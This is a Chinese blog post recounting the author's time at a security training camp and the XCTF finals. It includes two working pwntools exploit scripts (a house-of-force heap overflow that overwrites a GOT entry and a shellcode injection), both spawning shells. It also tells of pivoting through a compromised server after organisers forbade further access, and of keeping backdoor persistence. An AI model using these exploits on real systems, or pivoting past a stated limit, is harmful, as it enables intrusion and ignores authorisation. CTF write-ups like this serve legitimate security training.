XCTF-Final &isc安全训练营 参加总结

First Day

第一天去了isc安全训练营,

早上听了浏览器内容,主要内容是微软Edge和谷歌Chrome两个浏览器,Chrome是大宝师傅讲的内容。

比较有印象的的是Vulcan Team 的holynop讲的Edge浏览器的Chakra脚本引擎
了解了类型混淆的漏洞,以及如何去利用windgb去调试浏览器。
完成rce

(准备自己动手调试下这个漏洞!!! 应该也会写个博客吧或者拿去投稿???)

下午呢,讲的是windows内核漏洞

手头有poc 也是应该准备复现的漏洞!

Second Day

这一天正式参加了XCTF决赛了。
第一天是Ai解题,

我们们的策略是,不管是什么题目,第一步发送超级长的字符串,能crash的先让他crash,
所以第一天刚开始的时候,我们就get到了六个题目。
其中基本都是栈溢出的题目。

由于是Ai赛制是Ai先crash题目之后我们才能拿到bin文件(正常是这样,但是。。。HHH),

sof

栈溢出题目很简单

printf

有两个漏洞,一个是fmt,一个是栈溢出,fmt的pritnf两个参数我们都可以控制,就是由于这个原因,我们刚开始就一直在gang 格式化传这个点,而忽略了栈溢出。。

最后还是用栈溢出解决了题目

packegt

一个堆溢出漏洞,利用方式是house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

LOCAL = False

#env = {'LD_PRELOAD':'libc.so.6'}

if LOCAL:
p = process('./packet')#,env=env)
else:
p = remote('10.0.14.1',9999)

puts_got = 0x0000000000601018
shellcode = "\x90"*8
#shellcode +="\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode += asm(shellcraft.amd64.linux.sh())

def ope(size,string=""):
pl = "td"
pl += str(size)
pl += string
p.send(pl)

def main():
'''
breakpoint = [0x40096d]
bp = "".join(["b *%d\n"%b for b in breakpoint])
gdb.attach(proc.pidof(p)[0],bp)
'''
p.readline()
p.sendline("gpRGF622u64jnH6rlgoLgpqGQCjZL42c")
ope(0,"\xff"*0x25 + shellcode)
p.recvuntil("0x")
rev = p.recvuntil(":")
sc_addr = int(rev[:-1],16)
log.info("sc:{0}".format(hex(sc_addr)))
#heap_addr = int(ope(9,"\xff" * 0x100),16)
#log.info("heap:{0}".format(heap_addr))
size = (puts_got - sc_addr - 0x20)

ope(size)
ope(0,"\x00"*5+ p64(0) + p64(sc_addr+0x30))
p.interactive()

if __name__ == '__main__':
main()

到了下午
我们到Ai一直没有半点动静了,一直没有新题出来,导致我们可以选择到题目太少,一直僵持在只有六题到情况下。

但是这个时候我们到burnegg蛋总在早上到时候已经把Ai到题目全部脱了下来了,一共20个一个不少,于是我换了一个策略,决定人工审题,然后上去。。。那个啥。。。

于是后面我们又get了 sof2 和 pointguard两个题到crash
但是这个时候主办方来了,告诉我们上去到次数太多了,不允许再让我们上去了。。于是我们准备让蛋总来以pwn题目的服务器最为跳板,然后去访问Ai服务器,这次我们自己手动crash

然后。。。蛋总以我们已经Pwn的题目的服务器的一个稳定shell去访问了Ai服务器,
最后第一天比赛结束时候,我们到了第四到名次

下午解出来到题目

sof2

栈溢出

mp3info

以及吐槽一下错过了一个上分到机会,pointguard特么太简单了,应该先写exp的,然后再去crash其他题目

Third Day

第三天,攻防赛

四个题目,以第前一天的pointguard以及apatch和两个未放出的新题,我们可爱的蛋总同学,由于已经逃了两天课了,想到今天没有web就跑回学校了….于是我们就成了三人组 铁人三项参赛者~

pointguard

任意地址写以及格式化传漏洞
这个题目规则不允许我们进行patch 只能通过backlist进行拒绝访问的地址,导致这个题目。。。基本没有人防成功

我们当天完成了三个利用 1.system 2.rop. 3.one gadget

apatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.word_size = 64
context.os = "linux"
context.arch = "amd64"
context.endian = "little"
elf = ELF("apatch")
pro = process("./apatch")
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

gdb.attach(pro)

shellcode = shellcraft.amd64.linux.sh()
shellcode = asm(shellcode)
payload = p32(0xdeadfafa) + p8(0)
payload += p32(0x3eeb) + p32(1) + p32(len(shellcode))
payload += shellcode
pause()
pro.write(payload)
d = pro.read(1)
assert ord(d) == 0xcc
tmp = pro.read(4)
print tmp
index = u32(tmp)
print hex(index)

payload = p32(0xdeadfafa) + p8((0x2030a0 - 0x203020)/8)
pause()
pro.write(payload)
pro.interactive()

刚开始的分工是,muhe写black list的patch,通过流量审,添加到blacklist中,然后flier进行新exp,我进行运维,以及后门的添加。。。

然而,流量审查中出现了应该whireshark打不开流量包的尴尬。。。

以及后门添加不进去的尴尬。。。于是我们只能手动保持ssh的存在 维持权限,不会以至于对手patch文件后我们不能get flag了

。。。但是windows用多了。。。我不小心关了五个。。。/bin/sh剩三个。。。

运维的时候,,,我也出了一点尴尬,,,发现后门的时间太晚了。。。

所以,,,第二天我们全程是在防守,无暇去尝试流量重放以及去写新的exp去攻击对手

所以Good Game!

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. First Day
  2. 2. Second Day
    1. 2.1. sof
    2. 2.2. printf
    3. 2.3. packegt
    4. 2.4. sof2
    5. 2.5. mp3info
  3. 3. Third Day
    1. 3.1. pointguard
    2. 3.2. apatch
,